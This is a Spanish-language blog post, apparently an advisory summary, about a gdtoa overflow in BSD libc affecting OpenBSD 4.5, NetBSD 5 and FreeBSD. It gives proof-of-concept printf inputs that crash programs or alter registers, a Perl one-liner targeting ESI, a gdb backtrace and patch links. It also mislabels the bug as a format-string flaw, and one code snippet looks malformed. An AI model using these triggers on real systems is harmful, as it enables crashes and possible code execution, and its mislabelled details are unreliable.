Leyendo SecurityFocus me entero de una nueva vulnerabilidad que afecta a los sistemas BSD, FreeBSD, NetBSD e inclusive OpenBSD!, en este caso especificamente en libc.

Esto fue causado por la nueva implementación de gdtoa, dentro de libc que realizaron múltiples forks BSD, para brindar mejor soporte a funciones como printf y similares.

El bug es del tipo format string, en la cual, debido al mal formateo de funciones como printf, vprintf, es posible sobreescribir información del stack y registros, como así también extraerla. Aunque el fin principal de este tipo de explotación es la ejecución de codígo arbitrario por parte del atacante al sistema, sea local o remoto, pudiendo incluso bypassear varias protecciones.

Los sitemas afectados, como veiamos, son las tres forks mas populares de la familia BSD. Si hablamos de versiones podemos decir que se encuentran afectadas por este bug: OpenBSD 4.5, NetBSD 5, FreeBSD 7.2-STABLE hasta 6.4-RELEASE. Lo cual da una enorme cantidad de equipos afectados alrrededor del mundo.

Para comprobarlo, teniendo un sistema de los anteriores mensionados, en una terminal ejecutamos:

# printf %1.262159f 1.1
Memory fault (core dumped)

asprintf(3) va a crashear si se utiliza asprintf(ssij, "%0.262159f",x), donde x tenga un valor distinto a cero.
Al ejecutarlo, se generara el archivo core, el cual podemos analizar utilizando gdb o cualquier otro debugger.

#: gdb /cxib/C/check

(gdb) r
Starting program: /cxib/C/check
Program received signal SIGSEGV, Segmentation fault.
0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
(gdb) bt
#0 0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
#1 0xbbbab6d7 in __rv_alloc_D2A () from /usr/lib/libc.so.12
#2 0xbbba8db5 in __dtoa () from /usr/lib/libc.so.12
#3 0xbbba671f in __vfprintf_unlocked () from /usr/lib/libc.so.12
#4 0xbbb882e1 in asprintf () from /usr/lib/libc.so.12
#5 0x08048706 in main () at check.c:6

Si vemos el archivo src/lib/libc/gdtoa/gdtoaimp.h, encontramos la fuente del problema.

- ---gdtoaimp.h---
#define Kmax 15
- ---gdtoaimp.h---

La máxima longitud para Kmax es 15,
Si nosotros elegimos un valor mas grande, como 17, el programa va a hacer overflow en el array, y escribiedno 0×1 en la región .bss (variables sin inicializar), produciendo de esta forma el crash.

---- gdtoaimp.h --- /* gdtoaimp.h -> src/lib/libc/gdtoa/misc.c */ #define Kmax (sizeof(size_t) << 3) if ( (rv = freelist[k]) !=0) {   freelist[k] = rv->next; } else {   x = 1 << k;   #ifdef Omit_Private_Memory   rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong));   #else   len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) - 1)/sizeof(double);   if ((double *)(pmem_next - private_mem + len) <= (double *)PRIVATE_mem)   {     rv = (Bigint*)(void *)pmem_next; pmem_next += len;   }   else     rv = (Bigint*)MALLOC(len*sizeof(double));   #endif if (rv == NULL) return NULL;   rv->k = k;   rv->maxwds = x; } ---- src/lib/libc/gdtoa/misc.c ----

Podemos examinar mejor esto de la siguiente manera:

# printf %1.262159f 1.1
Memory fault (core dumped)

La manipulación de registros como EDI o ESI es posible, y bastante facil, veamos un ejemplo de como manipular estos registros utilizando printf.

printf %11.2109999999f
210919999199919999199991791199.500000000000000
0000000000000000001000000000001001

ESI = 0×12
EDI = 0×1d

Podemos hacer esto aún mas simplificado, con el siguiente script en Perl, cuya función print es vulnerable, y hacer que sobreescribira ESI asignandole un valor de 0×41414141 (AAAA en Hexadecimal).

#----------BEGIN----------#
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
#------------END-----------#

Funciones como printf(3), strfmon(3), fprintf(3), sprintf(3), snprintf(3), asprintf(3), vprintf(3), vfprintf(3), vsprintf(3), vsnprintf(3), vasprintf(3) y otras son vulnerables con la nueva implementación de gtdoa. Otros lenguajes aparte de Perl también se encuentran vulnerables.
Por suerte ya se encuentran actualizaciones para este bug, dejo algunos links que pueden resultar utiles.

[*] OpenBSD: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
[*] NetBSD: http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h
[*] FreeBSD: http://www.freebsd.org/

Posts relacionados:

Tags: , , , , , ,

Comentar articulo:

Importante: Los comentarios son moderados.


Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.